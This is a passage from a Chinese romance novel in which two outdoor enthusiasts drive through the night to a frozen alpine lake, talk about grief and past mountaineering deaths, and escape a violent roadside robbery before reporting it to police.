徐汀云点头,唇角染上了笑意,“走,徐哥带你去看亡人海。”
16. 踏上旅程
夜风顺着半敞的车窗涌入,冷暖空气在看不见的地方激烈碰撞后最终趋于恒定,恒定的冷。
徐汀云一手把方向盘,另一只手悄咪咪地把拉链拉倒了下巴颏。冷得很,但他不敢说。
方才徐汀云一拍脑袋说去看“海”,就开始边收拾东西边催华松栩也收拾东西,一阵兵荒马乱后,还没反应过来的她已经被拉上了车——她自己的车。
华松栩仰在座椅靠背上,去看月亮的上班路,任由发丝在风中狂舞,“你带我去,开我的车是怎么回事?”
急弯路段,徐汀云熟练地切换远近光灯提醒对向来车,“我这不是没车嘛。这样,油费路费我包了,车的保养费我也包了。”
“够大方。”
“不然怎么当得起一声徐哥。”
华松栩撇嘴,“没大没小,叫声姐来听听?”
“给我一亿就叫,这位富婆。”
华松栩理亏,闭嘴不言。
徐汀云假装看后视镜瞄她一眼,又瞄一眼,偷笑。
华松栩又想起那张名为《炽热》的作品,心中一阵暖流,忽然意识到一件很重要的事情,“你临时撤稿,小心贺灵给你穿小鞋。”
“贺编才不会给任何人穿小鞋。”徐汀云叹气,“她只会贴脸输出。”
“哦?怎么输出的?”华松栩已经期待起来了。
徐汀云清清嗓子,拿捏三分不屑和两分孤傲,声音尖了一个八度,“马上要定稿了你撤稿,还是封皮,你知道封皮是什么吗?封皮就是脸皮!你把脸皮撕下来我看看?”
华松栩被某人惟妙惟肖的模仿逗得扑哧一笑,“那这期怎么办?”
徐汀云说:“我是没有计划、不负责任的人吗?”
然后不等她给反应,自己回答:“当然不是,我是有职业道德的摄影师。”
“……所以怎么解决的?”
“撤了南壁,刊登北壁呗!”徐汀云说,“贺编还想骂我来着,我说撤稿是要送给你,她那一千多公里长的大刀嗖一下就收回去了。”
“嗯。”华松栩语气平平,“打着我的旗号少挨了一顿,这一路饭钱你也包了吧。”
徐汀云一笑,“那必须,以后就靠您罩着我。”
华松栩关上车窗,把椅背放倒,“求一个泥菩萨罩你,有多想不开。”
徐汀云暗自松口气,活动了下被风吹得僵硬的指关节,真挺冷。于是他问:“泥菩萨,你冷不冷?”
华松栩正缩在珊瑚绒毛毯里,听到问题一愣,这才注意到他冻到青白的手背,赶紧开空调,“你觉得冷怎么不跟我讲?”
徐汀云不答反问:“可否点一首歌?”
“可以。”华松栩掏出手机,一打开音乐播放软件便自动连接了车载。
别说,车厢里除了风噪和胎噪外过于安静。
徐汀云说:“谢谢,那就点一首——霓虹花园《只有风知道》。”
华松栩打字的手微顿,旋即按下搜索,播放。
钢琴和不知名乐器自改装的阿尔派车载音响缓缓流淌,很快便铺满密闭空间里的角角落落。这个品牌的音响动态范围管,低音尤为突出。每一下鼓点都踩在了她心里。
越野沿着S203蜿蜒曲折的山路行驶,部分路段坑坑洼洼,应该是山体滑坡砸了地基,所以整体速度不快。越是开得不快,对时间的感觉就愈发敏锐。每一秒的经过,每一次的颠簸,都为这场旅程带来不要命的荒谬之感。
“那些炙热的瞬间,只有风知道,只有我知道……”
好听的男声唱到这一句歌词时,徐汀侧首看了过来。
华松栩毫无防备,被他框进眼里。徐汀云左手稳稳把着方向,右手腕搭着变速杆,半边脸落在黑暗之中,勾勒出男人清晰刚硬的轮廓。
和这辆车好搭,华松栩悄悄想。
许是今天刚洗过澡,比板寸略长些的短发直挺挺的支棱着,配上黑色冲锋衣裤,少了些小白脸的感觉。还挺硬汉。
她收回视线,细长的手指缠绕发丝,“风知道,那你知道吗?”
徐汀云说:“知道。方才开窗户风呼呼往我耳朵里吹,趁你不注意,把它知道的都告诉我了。”
“继续吹。”
“它跟我说,你今天没吃饭,饿了。”
华松栩本能伸手摸摸肚子,神色从古怪到无奈,略微挣扎后承认:“是,是饿了。早知道就和你去吃牦牛汤锅了。”
徐汀云一脸我就知道的表情,伸手指后座,“你看后面那个袋子里是什么?”
华松栩想说这是我的车你管是什么,忽然觉得不对,回头一看,果然有一个从未见过的袋子在驾驶位后的座椅上。她伸手去够,没够到,又往上醋溜了下,这才拎过来。
一股香气随之而来,“是什么?”
徐汀云骄矜,“打开就知道了。”
“还卖关子。”华松栩嘴上嘟囔,但身体很诚实,五指纷飞解开封口,里面是一个保温饭盒。再一拧开,里面装着慢慢一桶牦牛汤锅,还冒着热气。
“咳!”徐汀云换了个手把方向盘,从冲锋衣口袋里掏了掏,递过来一小盒子,“筷子,趁热吃。”
华松栩觉得肯定是今晚流了太多泪,眼眶都变浅了,不然怎么看到牦牛汤锅都有点想哭呢。她抿唇,“我吃不完,一起吃。”
徐汀云戳了下手机,屏幕上是跟随gps移动的绿箭头,“前面13公里有个停车区。你先吃,停车我再吃。”
华松栩捏着筷子,有些尴尬。
徐汀云笑了,“咱俩山上都吃过一锅饭,在这还吃不得了?我不嫌弃,饿了赶紧吃。”
华松栩在理性和诱惑之间摇摆,后者完胜,端起保温盒吃了小半桶。到了停车区,徐汀云找了个空旷的位置停好,打开车门,把头伸出去往天上看。
华松栩问:“吃吗——你看什么呢?”
徐汀云又望了一会,缩回车厢,“看天气,今天应该能拍到星轨。”
“那拍吗?”
保温盒被徐汀云接了过去,筷子也是。他用她用过的筷子,狼吞虎咽吃了起来,含糊地说:“不拍,费时间。”
华松栩耳尖有点烫。她和搭
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档登山的日子,物资紧缺的时候也不是没这样过,再正常不过。但偏偏在面对徐汀云时,有些说不上的局促。
徐汀云无知无觉,吃得很香。
华松栩瞄他的手机屏幕,预计到达时间是凌晨四点,“想拍就拍,大不了明晚再去。”
“不用,视野不够开阔。到亡人海再拍。”
徐汀云迅速扒拉完,拧好饭盒,收好筷子,擦擦嘴,“出发吧,你路上睡会。”
“咱俩两小时换一次。”
“没事,我不睡,精神得很。”
默默追随八年的偶像就在身旁,怎么可能不精神。
华松栩没再坚持,她今天一天情绪起伏颇多,此刻又吃饱喝足,乏得很。毯子一盖,安然地合上眼睛。
随机播放的音乐还在继续,下一首是康姆士的《几乎是幻想》。
徐汀云跟着曲调哼唱,“全部都清场,只有我们俩……”
他唱歌很好听,和原唱相比多了几分磁性低沉,在华松栩耳边上演完美的二重奏。
听到歌词,她闭着眼笑了下。
徐汀云说:“怎么样,是不是很贴合此情此景?”
华松栩嗯了一声,“歌名就更贴合了。”
——几乎是幻想。
徐汀云咂舌,“还真是。”
五个小时前,方木一脸震惊地问还处于情绪爆发时期的徐汀云,“喜欢的女生竟然是念念不忘的女神,你什么感觉?”
徐汀云抹了把脸,“更希望是幻想吧。”
“什么意思?”
“我甚至都高兴不起来。”徐汀云说,“一方面,我看着阿栩从籍籍无名到封神,再到一夜之间消失。我宁愿她在我看不到的地方,继续坚守她的热爱,而不是如今这样被困在原地。”
“另一方面呢?”
沉默良久,他低声道:“另一方面,我宁愿我喜欢的女孩子更平凡一点,这样或许就能更快乐一些。”
徐汀云回神,再一次借看右后视镜的机会看她——右侧是岩壁,其实完全不需要看的。华松栩下半张脸都埋在毯子里,细密的睫毛投下浓密的暗影,那么安静,那么温和。
这一刻,徐汀云悄悄下定决心。他砸锅卖铁、卖房卖肾都要跟在她身边,无论她选择抛去过往的热爱,还是回到群山之间。
华松栩原打算浅睡一阵就换人,结果再睁眼已经是凌晨三点。徐汀云还保持着数小时前的样子,坐得端开得稳,精力很充沛。
“醒了?”
她往窗外看,黑乎乎什么都看不出来,于是哑着嗓子问:“到哪了?”
“还有不到一百公里。”徐汀云轻声说,“我的包在后座,帮我拿下杯子。”
一句话,华松栩清醒了不少。她急忙捞过徐汀云的保温杯,打开盖递过去,“前面有能停车的地方吗,我开一会。”
徐汀云一连喝了好几大口,将杯子放进杯架,“不困,睡不着就陪我聊会呗。”
华松栩调直椅背,打了个哈欠,“聊什么?”
徐汀云喉结滚动,“聊聊恋爱。”
17. 亡人海子
车子驶入团雾路段,浓稠的雾气包裹车身。发动机猛烈嗡鸣,依然破不开那层与世界隔绝的屏障。而车厢的几平米空间里,空气有一瞬的沉寂。
紧接着华松栩扑哧一笑,“少男思春了?”
说实话她觉得这个问题有点突兀,但细想也合理。26岁血气方刚的,没个喜欢的人才不合理。
徐汀云打开雾灯,能见度依然不足五米,因此压下速度,双目紧盯前方握紧方向盘,“就、随便聊聊,不是说拉近关系的最快方式就是聊感情吗?”
华松栩说:“看在你劳苦功高的份上,今天当一次知心姐姐。想问什么就问吧。”
徐汀云情不自禁吞咽了好几下,“那个,你……你是单身吧?”
“怎么,看不起单身人士的指导?”华松栩掀掉毯子,叠成方块扔到后座,“你到底问还是不问?”
徐汀云:……
半晌,他干巴巴地问:“……那、那给我讲讲你的经验行吗?”
华松栩挑眉,缓缓看向他,“你——”
徐汀云又吞咽了下,“我怎么了?”
漫长的审视后,她靠回椅背,总结:“你真的很不擅长恋爱。”
“……啊?”
“你耳朵又红了。聊恋爱你都害羞,面对喜欢的女孩不得羞到外太空去。”
“……”
华松栩秉持帮人帮到底的理念,“什么类型,我帮你参谋。”
“我喜欢的人和我有共同话题,性格虽然冷了些但人很好,能力很强,还……很有钱。”徐汀云鼓起勇气又尝试了一次。说完,他小心地余光去看华松栩的反应,后者捏下巴蹙眉,似乎在思考。
小徐坐立不安,转转肩膀,抻抻腰,缩缩脖子,又清清嗓子。
华松栩终于开口,“嘶!这样的女生,感觉——”
“感觉什么?”小徐声音有点抖。
“感觉看不上你。”华松栩真诚道。
“……”
徐汀云狠狠踩了脚油门,“咨询可以到此为止了,你还不如我。”
华松栩嗤笑,“你在侮辱谁?”
徐汀云:……
雾气散了些,华松栩隐约看到了路两边绵延不绝起伏的轮廓,遥远,苍莽。往前方看,远光灯经倾斜的路牌反射冷光,有些刺眼,于是收回目光。
“生死见多了,才懂得世事无常。”她说,“所以别想那么多,喜欢就努努力,别让自己后悔。”
徐汀云嗯了一声,又觉得不够,加重语气补充:“我会的。”
华松栩真心实意地说:“加油。”
刚说完,徐汀云就看了过来,半敛着眸子似笑非笑。
华松栩眨眨眼,不理解但是笑了下,“看路。”
“哦。”
抵达目的地时,是凌晨三点五十分。徐汀云轻车熟路地驶进一片平坦的空地停下,关了远光灯,“还得走几公里,OK吗?”
华松栩脱掉毛衣,换抓绒和羽绒,“以前大半夜都挂在岩壁上,这点路算什么。”
徐汀云看她干净利落脱衣服的动作眼尾直跳,急忙偏过头,“咳,那就行。穿厚点,冷。”
“以前来过。”华松栩陈述句。
“嗯,来过挺多次。所以放心,绝对不会迷路。”
确实如徐汀云所言,他对这一片十分熟悉,华松栩跟着他的脚步准确绕开了松动的石块和落雪湿滑的地段,走起来很省心。
夜间徒步和白天里的感受完全不同。在原本属于睡眠的时间里运动,身体非但不会疲累,反而在肾上腺素的刺激下步履轻快,头脑清醒。在寂静无声的黑暗中行走,听着自己的呼吸,她久违地感受到磅礴的生命力沿着每一步扎根土壤,又在黑暗中开出一朵朵耀眼的花。
“前面有点陡,爬升三百左右。”徐汀云边走边说。
“好。”
两人沿着将近五十度的坡度走之字,偶有巨石横在必经之路上,将近一米多高。华松栩刚要手撑岩石,一只结实的手臂连徒步包一起抄住后背趁了把劲,稳稳将她送了上去。
华松栩仰头看徐汀云,故意让头灯的光落在他脸上,“我好柔弱不能自理。”
徐汀云刺得眼睛疼,依然每移开视线,失笑,“知道你可以,帮你省点力不好吗?”
“那干脆背我上去好了。”华松栩收回视线,刷刷往前走。
徐汀云落后半步的距离,“行,徐哥干什么都行。”
“滚蛋。”
“遵命。”说是遵命,实际半步不离。
两个体力经验都很充沛的人遇到一起,一个多小时的路程生生压缩到五十分钟。沿着碎石破降到底,绕过最后一片崩裂坠落的岩石堆,视野瞬间开阔。
凌晨五点,夜色依然浓稠,但东边的天空已被预示黎明的深蓝色晕染。就着星光,群山之间隐密的高山海子毫不吝啬地展示那动人的纯净和圣洁。
华松栩看得入神,脚下被一株不知名的植物拌住,散落的碎石也在突然袭击下向下滑动坠落,一阵清脆的碰撞声响起。
“小心。”徐汀云眼疾手快扶了一把。其实她已经站稳了,不需要这多次一举的帮助,但他又说了一次,“小心。”
“谢谢。”华松栩向海子走去,在全天最低温度的时刻说出毫无温度的话,“传说中的亡人海,怎么见到亡人?”
徐汀云扶额,“到这么美的地方来,不要煞风景……这边走。”
海子沿岸有两顶帐篷,一个在西南边,一个在东南角。为了不惊扰休息中的驴友,华松栩放低声音,“之前我来苍都,怎么都不知道这地方?”
“我骑自行车遇上大雪,借住在藏胞家里,无意中听说的。”徐汀云拍拍肩挂的相机,“给你出图,绝对刷爆小红苕。”
华松栩不理他,走到岸边伸脚探了探,“海子变冰湖,传说还能当真吗?”
然后她就被人从后推了一把。
“喂——”华松栩往前醋溜了几米,吓一跳,直到确认脚感坚实才呼了口气,“深更半夜把我骗来谋杀?”
“嗯,看上你的牧马人了,专门骗到这风景如画的地儿谋杀。”徐汀云以下雪后小孩溜冰的姿势滑了过来,然后一马当先往前走。
“
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……天这么黑什么都看不到,往哪走?”
徐汀云不答,越走越快。
华松栩摸不着头脑,只能跟上,然后一路跟到了冰封海子的正中心。
徐汀云解开包底捆绑的蛋巢垫平展铺好,又不知从哪摸出来一罐啤酒,弯腰鞠躬,“公主请上座。”
华松栩:……
亡人海版野外酒馆?
最终两人并肩而坐,面朝东方。只是还没等泛起鱼肚白,华松栩已经把啤酒喝完了。她舔舔唇,“还有吗?”
徐汀云于沉默中在身上摸了一会,又摸出来一罐。
“谢谢。”
徐汀云忽然笑了一声,“我第一次来这的时候,真没想过还会再来,还是跟——革命战友一起来。”
华松栩仰头灌了一口,酒精顺着食道滑进胃里,有点灼烧感,“第一次,什么时候?”
“八年前。我哥哥车祸去世以后。”
华松栩微顿,“抱歉。”
“高考结束,我坚持要全家一起去西北自驾。我、我哥、我爸妈,一个都不能少,他们同意了。”徐汀云一下下捏自己的后颈,“当时特喜欢的乐队来京市巡演,我想着莫高窟的票都定了,不能因为我影响行程,就约好看完演唱会汇合。去机场的路上,我接到了电话。”
他吐了口浊气,声音很轻,轻得能消散在风里,“电话里,说他们出车祸了。撞上了货车,三人当场都没了。”
华松栩呼吸停了好几秒,望着他棱角分明的侧颜,“抱歉。”
“没事。”徐汀云回过头来冲她笑,“其实骑车走川藏线不是我的梦想,是我哥的。我只是替他完成而已。”
华松栩敏锐地察觉到笑容中掩盖的痛苦,伸手摸了摸他的发心,“然后就爱上了户外。”
徐汀云先是一僵,然后顺从地蹭了蹭她的手,“嗯,爱上了。”
华松栩被他硬挺的发丝搞得有点痒,于是拍了一下,收回手,喝完了剩余的半罐啤酒。有些事情,经历过的人无需语言,只消一个眼神就能懂。她懂徐汀云藏在阳光外表下的灰暗,懂他释然中掺杂着的悔恨,懂他时过经年依然走不出的梦魇。
“你看过我的账号,肯定知道丰哥吧。”
“当然。”徐汀云笑了,“你不爱发视频,我就去他的账号看。所有的都看过。”
“丰哥年纪轻轻就怕自己老年痴呆,忘记很多东西,所以秉持着一定要拍照录像记录的原则。”华松栩也笑,眼眶却蓄泪,“现在好了,他永远都不会老,也永远不会痴呆。”
徐汀云也想摸摸她的头,但手于半空中转了弯,落在了她的肩上。
不知是酒精作用,还是传说中的亡人海真有不一样的磁场,又或是身旁的人同病相怜又那么踏实可靠,华松栩平白生出一股不吐不快的冲动。几番挣扎后,她顺从了,一字一顿说:“1228山难,原本是可以避免的。”
“什么?!”徐汀云愣住了。
华松栩寸寸回眸,在晨光熹微中,一滴晶莹剔透的泪滑落,“如果‘阿栩’并不像你想象那样完美、勇敢、坚强,你会对她失望吗?”
18. 麦比乌斯
徐汀云一点点压下眼底的错愕,“我失望与否并不重要,其他人的看法也不重要。重要的是你的感受,你对自己失望吗?”
男人目光灼灼,干净又赤诚。华松栩被烫到一般错开视线,也回避了他的问题,语速很慢地讲着,“那不是无法预料的雪崩。相反,是非常典型的雪崩地形。当时,我们离北壁非常近了,只要走过最后一个雪坡就是终点。”
“我跟丰哥说看地形挺危险的,向导说没事他最近一直在走……丰哥、丰哥让我信他,快速通过就好。我同意了。”
“这一年我无时无刻不在想,为什么我没有坚持,为什么我这么愚蠢,为什么我——”
“这不只是你一个人的错。”徐汀云用力摁住她的肩,“也是丰哥和向导的错误。”
华松栩双目失焦,瞳孔茫然地颤动,“三人都犯了错,为什么只有我活着?”
许久,徐汀云说:“每个人只能对自己的生命负责。”
“但这句话说服不了我,也说服不了你。”
“是的。”
逝去的人无知无觉,幸存者无形中扛起了他们的哀与乐。这不是一句对自己负责就能说服的,或许穷尽一生都难以释怀。人类如此渺小,人类的感情却和双足所立的大地一般广袤。
华松栩吸了下鼻子。这时,徐汀云抬手,把她面向自己的脑瓜推正,“别哭了,快看。”
某人刚要爆炸,看到眼前的场景后却一秒哑火。
在静谧的蓝调时刻后,是漫天粉紫色的朝阳,是万丈金光平地起的震撼。冰蓝色的湖面映着三面环绕的绵延山峰,映照着璀璨的日光,也映照着他们两人并肩而坐的身影。
这里的视野不如垭口看金山时的开阔,也不如于山巅俯瞰地球的绝对高度。但透过冰面望去,世界是彻底倾洒的调色盘,是被模糊掉生死边界的澄澈梦境,是如水中月的世外桃源。
华松栩深吸一口纯净到极致的气息,闭上眼,任由柔和的光落在她每一寸裸露的肌肤。此刻是昼夜的交替,是全新的开始,是阳光驱逐阴霾的凯旋。
徐汀云盯着她,唇边终于浮现平日的笑容,“亡人海,名副其实吧?”
华松栩也闭眼笑,“订单完成才能评价,现在不许干扰消费者的体验。”
“好。”徐汀云双手往后一撑,大剌剌坐着,反常地没去拿相机,而是贪婪地用眼睛将眼前的场景刻进脑海。
自然无声,却远胜千言万语的安慰。
一直到日头高挂,华松栩终于通体舒畅,拍拍裤子站起来,“走吧,商家。回去给你写好评。”
徐汀云兢兢业业地收尾,卷蛋巢垫,装空啤酒瓶,“谢谢上帝。”
华松栩没忍住,扑哧一笑。
两人回到岸边时,东南角的驴友已经走了,西南边两人正在收帐篷。
小情侣冲他们打招呼,“哈喽,你们从哪来?”
户外人见面常规对话:从哪来,往哪去,前方路况如何。
徐汀云挥手,“从安县过来,你们呢?”
男生边收帐篷杆边说:“我们刚逛完附近几个冰川,准备去库拉冈日。”
“库拉冈日好地方,雪山接近性好视野好,难度也不大。”
“行家啊哥们!”
徐汀云摆手,“不敢不敢,我旁边这位才是行家。”
乐得沉默的华松栩突然被q,狠狠剐了他一眼,“别胡说。”
男生笑声爽朗,女生看起来有些内敛,在二人之间看了几个来回后,掏出手机上前,“刚才觉得你俩的背影特甜,就拍了两张。内个……你俩是男女朋友吧?”
华松栩无语,怎么天天有人说这些离奇的话,立刻冷声道:“我俩是——”
话还没说完,她胳膊肘就被人捏住了。捏、住、了。
“是的,我们是。”徐汀云点头,含蓄地看向华松栩,又娇羞一笑。
华松栩:……
她眉心拧得能夹死苍蝇,用眼神左眼敲问号和右眼敲感叹号。
徐汀云飞速冲她眨了下眼,神色一秒恢复正常,掏出手机说:“方便的话能给我发一下嘛?”
女生得到肯定,也开心,“当然可以!”
友好地传输完照片,友好地挥手告别,友好地离开两位情侣的视线,华松栩照后脑勺狠狠给了徐汀云一下,“情侣?谁跟你是情侣?”
徐汀云抱头鼠窜,“人家是好心,我说不是情侣那人家得多尴尬啊!”
华松栩追上去又是一下,“人家不尴尬,我尴尬!”
“反正以后也见不着,肯定不会破坏你的鱼塘的!”
“鱼塘?欠收拾是不是?”
“你没有鱼塘?那我进你的鱼塘行吗——嗷,我错了!”
“……”
一阵鸡飞狗跳后,两人回到停车点。华松栩神清气爽,徐汀云头发乱翘衣衫褶皱,还挺惹人遐想。
华松栩坐上驾驶座,“回去我开,你睡会。”
这次徐汀云没争,一夜未合眼这会开肯定会乏,还是安全行车最重要。于是乖乖坐上副驾,系好安全带看手机。
华松栩把座椅调近了些,打开音乐app的驾驶歌单,按下随机播放。准备完毕正准备启动,发现徐汀云嘴角螺旋起飞,喜滋滋的,拧眉问:“看什么呢?”
“看咱俩的照片。”徐汀云转过手机屏幕,“不怪人家误会,这放小红苕上谁不说一声郎才女貌天造地设情投意合。”
华松栩垂眸,照片上,粉蓝渐变的天空下是并肩而坐的男女。徐汀云胳膊往后撑着坐也比比她高出大半头,正偏头看她,她则撑着下巴看向远处的湛蓝。还真应着那句话——你在看风景,看风景的人在看你。确实有点般配。
“想挨甩棍是不是?”她拍开徐汀云的手,把这离奇的想法抛之脑后。
徐汀云也不恼,依旧喜滋滋地举着手机看,“当高山摄影师这么久第一次被人拍,心情着实很美好。”
当然,美好的不只是这一件事。他悄悄将照片设为主屏幕,唇边笑意渐深。
白天开车视野好,牧马人底盘又高,大部分炸弹坑都可以无所畏惧,除积雪暗冰路段外飙得猛,四小时跑了四百公里。两人停下休整,在路边小店吃了个牛肉面后再次上路时,换睡饱了的徐
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汀云开。
藏北无人区广袤的草原落雪,又在暖阳中消融,枯黄与纯白碰撞出斑驳的光影,由远及近铺陈开来。这里的云很低,低得触手可及,可真若伸了手,才如梦初醒,才知水远山长。
华松栩收了手,“结冰路段,开慢点。”
“放心。不过沪聂线全是暗冰,以这个速度到村里得晚上九点十点了。”徐汀云低档过弯,应道。
“差不多。”华松栩戳了几下手机,“从怀远村去蓉城,也得十来个小时。你机票买到什么时候了?”
“还没买。”
华松栩眨眼,“不是要蹭车吗?”
“昂。我时间很自由,这不是看你打算什么时候走嘛。”
“我……”华松栩忽然想起周耀说要在蓉城见一面,顿了顿,“我时间也自由,就最近三四天吧。”
“行,那您的代驾师傅跟您到蓉城再买票。”
“飞回京市继续学业?”
徐汀云抬手搔眉心,“博三没课,我哪怕在南极呢论文写了就行。”
“那你写了吗?”
“……写了点,但不多。”
华松栩不爱玩手机,翻来翻去觉得没劲便随手丢到中控,“博士不是有科研指标吗?赶紧滚回去乖乖上学,别到处溜达。”
“咳。”徐汀云背都挺直了,“本人已经在核心期刊发了两篇论文,一作。换言之毕业条件达到了。”
“……那现在写的是?”
“毕业论文,后半年通过答辩的话就毕业了。”徐汀云露齿一笑。
华松栩惊讶了下,而后悻悻道:“嗯,学业事业两手抓。可以。”
小伙还是个学霸。
徐汀云笑得更开心了,“现在可以教我攀冰了吗?”
“做梦。”华松栩毫不留情。
“行吧,今晚就努力梦一下。”
两人一直贫,贫到天都黑了,还行驶在似曾相识的国道上。好像一直在走一条麦比乌斯环,时间随之凝固在此时此刻,有种世界末日的脱离感。
这时,徐汀云眯眼,“前面是不是有车?”
华松栩抬头看过去,有两点光源忽明忽暗,“好像是,在闪远光。”
“我放慢看看。”
说话间,他们靠近发现是一辆冲下路沿的越野车,车身倾斜超过三十度,看起来摇摇欲坠。有个小伙在路旁挥手求助,应该是车主。
徐汀云边停车边摇头,“一句318此生必驾,有多少车佘在这了。”
华松栩不得不赞同。
“我去看看。”他拉起手刹,“你别下来了,冷。”
徐汀云拉门把手,华松栩余光忽然扫见了那辆越野车内的人影,眉心一跳,“别开门——”
话音未落,刚开一条缝的车门从外被大力拉开,一不知从哪冒出来的蒙面壮汉直接把徐汀云提了出去,匕首在幽暗的夜里闪烁冷光,瞬间抵在了他的颈侧。
“徐汀云!!!”华松栩呲目。
徐汀云在千钧一发之际反手合上驾驶座的门,又用后背挡住留了缝的车窗。
“锁门!!!”
19. 拦路抢劫
“咔哒!”
华松栩扑到驾驶座刚按下锁车健,右侧就传来拉车门的声音。一回头,一张蒙面的脸几乎贴在了车窗上,阴森的吊角眼死死盯着她。
“砰砰砰!”男人猛砸车窗,“下车!”
华松栩没敢动,掐住掌心逼迫自己冷静。从她的视角,只能看到徐汀云举起的双手和顶着窗的背。
“大哥,您是想要钱还是有别的诉求?不管什么您和我商量就成,别吓我女朋友。”徐汀云吊儿郎当的声音从窗缝飘进来,听不出一丝慌乱。
“开门。”男人带着浓郁地域口音。
“我这车上拉的都是些户外用品,绳子钉子锅碗瓢盆的,没值钱的东西……”
华松栩在徐汀云沉稳的音色逐渐定神,趁他交涉的功夫,伸手往后座摸。她死死盯着右边那人的一举一动,一点点探身,很快摸到了三节甩棍。与此同时,触及一片冰凉——是扔在地上的冰镐。
徐汀云背抵在车门上,状似无意地扫了一周。眼前是一壮汉,副驾驶车门一壮汉,刚拦车的是个瘦子,那辆歪斜的车里似乎还有人,“哥,我穷学生一个,现在这时代出门很少带现金。这样,我把银行卡里的积蓄全给您转,您让我俩走,成吗?”
男人一字一顿,毫不退让,“开车门。”
这前不着村后不着店,报警一时半会都赶不到。打开车门以后如果只劫财就算了,要是生出别的心思,他一个人赤手空拳根本敌不过,不得不防。
徐汀云唯一的想法是让华松栩开车走。
他猛烈地咳嗽起来,掩唇弓腰不着痕迹地往前挪让出行车空间。在男人看不见的地方,他顶着几乎贴在颈动脉的刀刃一咬牙,藏在身后的另一只手猛地一摆——
“走!”
这时,车窗降了一半。
华松栩一向冷淡的声音穿透夜色,也打破了对峙,“你放开他,我下车。”
徐汀云镇静的面具破裂,“华松栩!!!”
这还是第一次听他叫自己的名字。
华松栩坐在驾驶座上手搭窗框,右手的钞票在昏暗的车顶灯照射下格外醒目,“我们带的现金不多,都可以给。前提是保证人身安全。”
徐汀云回头看她,眼中焦躁和狠戾翻滚,呼吸在肾上腺素作用下急促起来。华松栩平静地看他,轻眨右眼,隐晦地摇了摇头。
在她的注视中,徐汀云将情绪强行压下,垂眸屏息几瞬后轻笑,“我俩这刚订婚,正是磕碰一下都舍不得的时候。见笑了哈!”
华松栩重复:“这连个人影都没,我俩跑不了。你松开我未婚夫,咱们和平谈条件。”
许是对附近荒无人烟的确信,加上这俩看起来都很弱鸡,男人冷峻的视线在两人之间逡巡后,放下了匕首,“下车。”
华松栩按下解锁,开门,扶着窗框下了车,双脚刚挨及结冰的路面就是一滑,被还在揉脖子的徐汀云眼疾手快抄住了腰。后者眉心猛地一跳。
华松栩一连滑好几下,几乎贴在他的胸膛后才站稳,仰头说:“鞋有点滑。”
“我扶着你。”徐汀云垂眸道。
两人的视线一碰,旋即自然地移开。
三个人同时围了过来。
华松栩伸出右手,“小一万块钱,其他真没了。”
她似乎有点抖,徐汀云用力揽着她的肩膀,另一只手捏住了袖口里的甩棍——她装滑塞给他的甩棍。
“搜。”男人吩咐。
方才拉副驾车门那人调头开了后座的门开始翻,另一个去开后备箱。拉了下,没打开,“后备箱锁了。”
男人挥了下匕首,威胁的意味十足。
华松栩弯腰去摁开后备箱的按钮,身后突然一阵呵斥,紧接着是破风声。她立刻意识到了问题,藏在背后的冰镐因为弯腰露出了形状!
徐汀云一甩棍抽掉那人的匕首,“上车!!!”
形势突变,三人同时围了上来,与此同时路边越野车上又下来了几个人。
徐汀云挡住华松栩,左臂格挡又一甩棍抽过去。但双拳难敌四手,被壮汉一拳砸在颧骨整个人弹在敞开的车门上。
华松栩回头看到的就是这样的场景。她心一横抽出冰镐,抡起来照着人脑袋砸,被徐汀云凌空抓住了手腕,“危险!上车——”
一打岔的功夫,密密麻麻的拳脚呼啸而至。徐汀云躬身去挡没挡住,华松栩被一人抓住头发就是一巴掌。
她耳边嗡鸣眼前发黑,依靠瞬间的本能用冰镐的手柄部分砸了过去甩脱禁锢她的手,晃晃脑袋剧烈喘息。徐汀云震怒,生出一股邪火,也顾不得冰镐尖得能要命了,拿过就挥,反手又是一棍。
在拳拳到肉的声音、藏语的嘶吼声和闷哼声中,华松栩几乎是扑进了驾驶座。挂挡,油门,方向盘向左猛打,轮胎摩擦冰面发出刺耳的锐响,尾部甩出一道弧线。
徐汀云拼命护着她上车后,故意往路内侧退,这会恰好让出车头的宽度。华松栩猛踩刹车,牧马人庞大的车体在惯性作用下依然以极快的速度冲来,人群四散避让。
徐汀云跟车跑了几步,被一双铁钳一样的手臂拦腰抱住,“拉住他!”
“艹!”徐汀云骂了句脏的,提肘往后捣,“***有手有脚、还、抢劫!”
男人吃痛松了一只手,徐汀云挣开正要追车,余光瞟见了身后人的模样,直接回身飞起一脚,“大老爷们打女人!老子今天非得——”
“徐汀云!!!”华松栩看着后视镜乌泱泱的人群嘶喊,“上车!!!”
徐汀云还是没忍住,又一棍砸在男人腹部,这才冲滑出去十余米将将停下的车奔去。冰面经过往来车辆倾轧变得坚实又光滑,他踉跄着,拉住后座大敞的车门时,几乎是飞身而入。这次,华松栩几乎将油门踩到底,顾不得行车安全顾不得结冰路面,一路狂飙出去七八公里后才回过神,缓缓降速。
徐汀云沸腾的血液随着时间推移逐渐平息,抹了把脸,起身,两只手臂搭在前座靠背上,嗓音沙哑,“你还好吗?”
半晌,华松栩活动了下还在微微颤抖的指节,嗯了一声。
车载音响一直连着手机,此刻依然不
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知疲倦地工作着。华松栩看了眼屏幕,正在播放的是电影《末路狂花》地插曲,《PartofMe,PartofYou》。
Whereverwemaytravel
Whateverwegothrough
Whatevertimemaytakeaway
Itcannotchangethewaywefeeltoday
……
徐汀云低声笑了起来,头倚在右手臂上看她,结果碰到了脸颊的伤口,溢出嘶嘶痛呼,“要是用冰镐砸破那人脑袋,咱俩就真得像电影演的那样亡命天涯了。”
华松栩抖着手拿烟盒,没拿稳掉回了中控。徐汀云拾起,抽出一根点着,递到她唇边。
连吸了几口,她微侧过脸,咬着烟,“前面如果也是悬崖,你是跳还是不跳?”
驾驶座的车窗未关,刺骨的冷风中女人发丝飞舞,唇角的火星是此刻车厢内唯一的光源。徐汀云望着她,心跳如擂鼓。好酷,他想。
“一个人的话当然不。要是和你一起,刀山火海都跳。”他说。
华松栩单手把着方向盘,另一手掸了掸烟灰,闻言轻笑。
黑暗中,男人的眼底映着她的影子,有一种近乎疯狂的较真。她想起方才他抡拳时的狠劲,满脸都是血依然护着她的坚定。那一刻,每一寸毛孔里都散发出桀骜不驯的气息。好帅,她想。
“电影只是电影,真遇到悬崖可千万别跳。”她说。
徐汀云懒洋洋地靠着,“未婚夫?”
华松栩掐了烟,合上窗,“女朋友?”
他们不约而同笑了起来。
经此一事,两人一路不敢停,直接开到了最近县城的警察局。报案,登记,完成所有流程后已经是凌晨一点,于是就近找了家招待所。
